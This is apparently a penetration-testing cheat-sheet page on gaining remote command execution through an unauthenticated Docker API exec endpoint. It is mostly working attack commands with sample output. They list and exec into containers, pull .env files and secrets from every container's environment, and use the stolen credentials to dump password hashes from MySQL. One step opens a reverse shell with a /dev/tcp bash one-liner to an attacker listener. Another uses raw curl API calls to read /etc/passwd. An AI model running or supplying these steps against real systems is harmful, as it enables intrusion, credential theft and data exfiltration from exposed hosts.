Skip to content

Docker API RCE via Exec

6 min read Created Apr 4, 2026 Last updated Aug 12, 2026

When running containers are present on the target, the Docker API exec endpoint enables executing arbitrary commands inside them without any additional authentication. This is useful when the container holds application secrets, database access, or internal service connectivity that is not directly reachable from outside. Container exec is also a stepping stone when the host filesystem mount approach is blocked by AppArmor or other controls: exec into an existing privileged container gives the same outcome. Confirm running containers through Docker API service detection first.

The exec endpoint requires no authentication on its own. Any client that can reach port 2375 can create and start exec instances. If the API is TLS-protected on 2376 and you have obtained the client certificates, the same workflow applies. The key prerequisite is at least one running container. A host with only stopped containers cannot be exploited this way without first starting one, which requires write access and is a separate step.

  • Execute Commands in a Running Container
  • Non-Interactive Command Execution
  • Access Internal Services via Container Network
  • Get a Reverse Shell from Inside a Container
  • Exec via Raw API: Without Docker CLI

Execute Commands in a Running Container

The CONTAINER ID and NAMES columns are what you need. The name targets exec commands directly. Check the IMAGE column to identify what tools are available inside: a mysql image has the MySQL client, an nginx image has bash but not necessarily curl. Containers based on generic images like ubuntu or debian are the most flexible targets. Look for containers whose names suggest application roles: web servers, workers, and schedulers often hold credentials for downstream services.

┌──(kali㉿kali)-[~]
└─$ export DOCKER_HOST=tcp://$TARGET_IP:2375
┌──(kali㉿kali)-[~]
└─$ # List running containers
┌──(kali㉿kali)-[~]
└─$ docker ps --format 'table {{.ID}}\t{{.Names}}\t{{.Image}}'
CONTAINER ID   NAMES     IMAGE
a1b2c3d4e5f6   webapp    nginx:latest
b2c3d4e5f6a7   db        mysql:8.0
┌──(kali㉿kali)-[~]
└─$ docker exec -it webapp /bin/bash
root@a1b2c3d4e5f6:/var/www/html#

Non-Interactive Command Execution

For scripted extraction without an interactive shell, pipe the output directly or redirect it. The .env file is the highest-value target in any web application container. It almost always contains database credentials, API keys, and the application secret key. After extracting credentials, check what other services are reachable from inside the container by examining environment variables. Many frameworks inject the connection string for every linked service as an environment variable at container start.

The grep -iE pattern covers the most common naming conventions. Add token|api|auth if the application uses non-standard naming. If a variable returns empty output from a specific container, the process may not have that variable in its environment even if it was set at start time. Compare against docker inspect $cid --format '{{range .Config.Env}}{{println .}}{{end}}' to see what was configured versus what the process actually has.

┌──(kali㉿kali)-[~]
└─$ docker exec webapp cat /var/www/html/.env 2>/dev/null
DB_HOST=db
DB_DATABASE=webapp
DB_USERNAME=webapp_user
DB_PASSWORD=WebAppP@ss!
APP_KEY=base64:abc123==
┌──(kali㉿kali)-[~]
└─$ # Dump all environment variables from all running containers
┌──(kali㉿kali)-[~]
└─$ for cid in $(docker ps -q); do
echo "=== $(docker inspect $cid --format '{{.Name}}') ==="
docker exec $cid env 2>/dev/null | grep -iE 'password|secret|key|token'
done
=== /webapp ===
DB_PASSWORD=WebAppP@ss!
SECRET_KEY=django-insecure-abc123
=== /db ===
MYSQL_ROOT_PASSWORD=r00tP@ssword!

Access Internal Services via Container Network

Containers on the same Docker network can reach each other by service name. From inside the webapp container, the database is reachable at its container name. Docker internal DNS resolves container names to their internal IP addresses. This bypasses any external firewall or network policy that blocks direct access to the database port from outside. If the database listens only on the internal Docker network, this exec pivot is the only way to reach it without additional network tunneling.

After dumping credentials or data, check /etc/hosts inside the container for other reachable hosts. Run env | grep -i host to find injected service endpoints. Look for Redis, Elasticsearch, or message broker addresses that may accept connections without authentication on the internal network. Not all containers have a MySQL client: if the binary is missing, drop a static binary via docker exec or pivot through a container that already has the client installed.

┌──(kali㉿kali)-[~]
└─$ docker exec webapp mysql -h db -u root -pr00tP@ssword! -e 'show databases;'
Database
information_schema
webapp
mysql
┌──(kali㉿kali)-[~]
└─$ docker exec webapp mysql -h db -u root -pr00tP@ssword! webapp -e 'select username, password from users limit 10;'
username    password
admin       $2y$10$hashedpassword...
john.smith  $2y$10$hashedpassword2...

Get a Reverse Shell from Inside a Container

Not all containers have bash. If the reverse shell fails, try /bin/sh instead. Many minimal images based on Alpine use ash rather than bash. If no shell is available, use docker exec to drop a small static binary such as a precompiled busybox shell. The reverse shell runs as whatever user the container process runs as, which is often root inside the container. Root inside an unprivileged container does not give host root, but it gives full access to the container filesystem and all secrets mounted into it. If the container is privileged, the path to host escape is straightforward via the host filesystem mount technique covered in a separate page.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
┌──(kali㉿kali)-[~]
└─$ docker exec webapp bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'

Exec via Raw API: Without Docker CLI

The exec flow via raw API requires three requests: create the exec instance, start it, and read the output. Use this approach when the Docker CLI is not available on your attacker machine or when working through a limited shell that cannot run docker commands. The raw API also works through HTTP proxies and is easier to chain into automated exploitation scripts.

The response from the start call uses Docker's multiplexed stream format: output lines are prefixed with an 8-byte header indicating stream type and payload length. The strings filter strips those headers so the output is readable. If you need exact byte-for-byte output, parse the multiplexed format properly or redirect output to a file inside the container and retrieve it with a second exec call. Commands that exit non-zero still create the exec instance successfully: check the exit code via /exec/$EXEC_ID/json if the result is ambiguous.

┌──(kali㉿kali)-[~]
└─$ # Step 1: create exec instance
┌──(kali㉿kali)-[~]
└─$ EXEC_ID=$(curl -sk -X POST http://$TARGET_IP:2375/containers/webapp/exec \
-H 'Content-Type: application/json' \
-d '{"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/etc/passwd"]}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["Id"])')
┌──(kali㉿kali)-[~]
└─$ echo $EXEC_ID
e1f2a3b4c5d6...
┌──(kali㉿kali)-[~]
└─$ # Step 2: start exec and read output
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:2375/exec/$EXEC_ID/start \
-H 'Content-Type: application/json' \
-d '{"Detach":false}' | strings
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

References